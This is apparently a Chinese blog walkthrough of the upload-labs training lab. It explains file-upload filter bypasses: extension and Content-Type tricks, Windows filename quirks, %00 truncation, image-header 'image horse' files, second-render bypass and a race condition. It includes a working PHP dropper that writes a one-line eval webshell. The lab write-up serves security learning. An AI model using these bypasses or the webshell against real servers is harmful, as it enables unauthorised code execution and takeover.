目录

webshell一些上传心得

webshell一些上传心得

我们以upload-labs为基础

一、前端拦截:

如第一关

工作方式:

直接在前端拦截

绕过方式:

因为没有限制后端,所有可以用bs 绕过前端修改格式即可

  • 将需要上传的php文件改成jpg格式
  • 使用burp suite 拦截上传后,使用repeater模块将jpg改回php发送即可 https://i-blog.csdnimg.cn/direct/f045b76195ae4798b3da2e08639aa2ff.png
  • 可以看到成功上传 https://i-blog.csdnimg.cn/direct/6ccbf262f76648d79b8e4b760d1e32b3.png

二、只判断文件类型:

如第二关

工作方式:

只判断了文件的类型,而没有进行其他的检查方式

绕过方式:

使用bs将返回的数据包中文件格式直接改成允许的文件格式即可绕过

  • 将php文件上传的同时使用bs抓包

  • 使用repeater模块,将content-type中数据改为 image/png 即可

    https://i-blog.csdnimg.cn/direct/f29274f30b6c44368deed94961e03b6c.png

  • 可以看到已成功上传 https://i-blog.csdnimg.cn/direct/697f77483ecf4a82957a56332d52bc80.png

三、黑名单限制

如第5、6、7、8、9关(因为是windows的特性,所以只能在windows中使用)

工作方式:

匹配到代码带有的黑名单后会直接拦截

绕过方式:

将后缀改为一些没有被拦截到的方式进行绕过

绕过方式示例绕过原因
修改大小写绕过1.Phpwindows不区分大小写
添加末尾空格绕过1.phpWindows会自动删除首尾空格
在末尾添加 . 绕过1.php.windows会删除末尾的点
在末尾添加 ::$DATA 绕过1.php:$DATAWindows会将以 ::$DATA 结尾的文件以数据流的方式处理

四、删除黑名单内容

如第十关

工作方式:

将匹配到的黑名单的信息删掉

绕过方式:

双写代码实现绕过如 1.pphphp

五、修改文件上传位置:

如第十一、十二关

工作方式:

用户在上传文件后,程序将在temp目录下生成一个临时文件,再将该文件转到程序指定的目录下

绕过方式:

在第十一关:文件保存路径是由第9行代码决定

# 第十一关的部分代码如下
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;  # 看这行代码
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

我们随意上传一个文件:可以看出用户可以修改save_path函数的内容,那我们将内容改为 ../uploads/1.php%00 然后上传文件后缀为 .jpgphp 文件,代码处得到的后缀为jpg,能够通过对文件后缀的检测,但在 $img_path 变量处就会出现其值为 ../uploads/1.php%00+随机日期.jpg ,当执行 move_uploaded_file 函数时,服务器会对路径中%00后的内容不做解析,默认迁移文件为 ../uploads/1.php

%00截断原理:

这是字符串的结束标识符(不再对后文的信息进行处理),攻击者可以利用手动添加字符串标识符的方式将后面的内容忽略,而后面的内容又可以帮助我们绕过检测。

https://i-blog.csdnimg.cn/direct/7ac16c2255ca46c2b16ccd757fcf1a64.png

  • 将jpg格式的php文件上传的同时使用bs抓包
  • 将抓到的数据包转到repeater模块同时修改 save_path 并发送 https://i-blog.csdnimg.cn/direct/758a4ca690384eb586048f68c557460a.png
  • 可以看出php文件以及上传为1.php。同时,因为1.php后面的\0将后面的jpg忽略了 https://i-blog.csdnimg.cn/direct/b5f936e3f6f84f2d952697d0f088e083.png

注意在第十二关中使用的是post方法,需要对%00解码: https://i-blog.csdnimg.cn/direct/76b2d62f3b164e569ca331b5771e2d3d.png

六、文件头检查(文件包含):

如第14、15、16关

工作方式:

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

如这个函数片段,该检查方式是查看文件头部的两个字节的信息(前几个字节是格式信息)。如图:

https://i-blog.csdnimg.cn/direct/a306ac6c17d34c83ad10b07f68467ab8.png

绕过方式:

前提:需要有文件包含漏洞才可实现,因为使用图片马会导致拼接的php代码无法解析

因为检查的文件头部信息,上述的如改文件格式等方式肯定是不行了,就需要使用 图片马

图片马:

在图片信息的后面拼接木马信息,使得在检查时,前几个字节仍然是正常的图片信息,但后面的php不会被检查,从而绕过检测上传

  • 制作图片马:

打开cmd窗口(注意工作目录)、 copy 1.png/b + 1.php /a 1.png https://i-blog.csdnimg.cn/direct/36e58b4429bb46fe9f18e590b54cb00f.png

拼接之后的数据: https://i-blog.csdnimg.cn/direct/469aee5fb0e3466e94677f52bcfd1d42.png

  • 将制作好的图片马直接上传
  • 再利用文件包含漏洞即可成功 https://i-blog.csdnimg.cn/direct/72285579a91042a89949873e79a8dd9a.png

七、二次渲染:

第16关

工作方式:

用户上传图片后,程序并没有直接将该图片使用,而是用该图片生成一个新的图片,将新的图片用于内部使用

     $im = imagecreatefromjpeg($target_path);
# 用$target_path的图片生成一个新的图片赋值给$im

绕过方式:

图片会进行二次渲染从而使图片马不能正常使用,需要寻找没有被修改且不会影响图片格式的部分插入一句话木马

格式webshell插入位置
GIF:可以直接在渲染前后没变化的数据块插入木马即可
PNG:需要将数据写入PLTE或IDAT模块
JPG:需要插入到指定的数据块,而且可能不成功,所以需要多次尝试

GIF绕过:

  • 上传一个普通的GIF图片;将渲染后的图片下载后进行比较
  • 使用010editer等工具进行比较
  • 最好选择相同且为全0的填充字段,如果没有,在偏后的部分找相同字段修改也可以的

https://i-blog.csdnimg.cn/direct/5add9624167d48598d6c9c8e29f59b31.png

  • 利用文件包含漏洞访问 https://i-blog.csdnimg.cn/direct/d0e8d9e976b0406396111874bc4ae70c.png

八、条件竞争

第十七关

工作方式

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){  				 #移动文件
        if(in_array($file_ext,$ext_arr)){ 							# 判断文件后缀
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);           						 # 删除文件
        }
    }else{
        $msg = '上传出错!';
    }
}

代码的处理流程

  • 移动文件到指定路径
  • 判断文件后缀是否符合
  • 符合则重命名;不符合则删除文件

绕过方式

像这种存在代码逻辑问题(先移动再删除),服务器处理过程中,总是有时间差,而我们上传图片后在文件还没被删除时就快速访问目标文件(上传的文件是在上级目录再创建一个木马文件),就能够在删除前就创建新的木马文件,源文件删除后,新木马文件并不会删除

  • 创建木马文件 q.php :在执行时会在上级目录生成一个1.php的木马文件
<?php fputs(fopen('../1.php','w'),'<?php @eval($_POST["111"])?>');?>
  • q.php 上传并用bs抓包 https://i-blog.csdnimg.cn/direct/a2f8a6de7cc74f5da69cd47362873a3a.png

    转入intruder模块,随便设置一下 https://i-blog.csdnimg.cn/direct/b50d20771fe54bc6b26a505064d65e3e.png

  • 再抓一个访问q.php的数据包 https://i-blog.csdnimg.cn/direct/6bb83e4f7bfc490b8675860ad1c56fb4.png

  • 也转入intruder模块

  • 准备工作做好后,开始攻击

    可以看到有一个成功,再打开vscode https://i-blog.csdnimg.cn/direct/12d1d9aee95546789d73582ad2895eb7.png

    1.php已经生成 https://i-blog.csdnimg.cn/direct/dfe506436df04794810117525ca5f6f5.png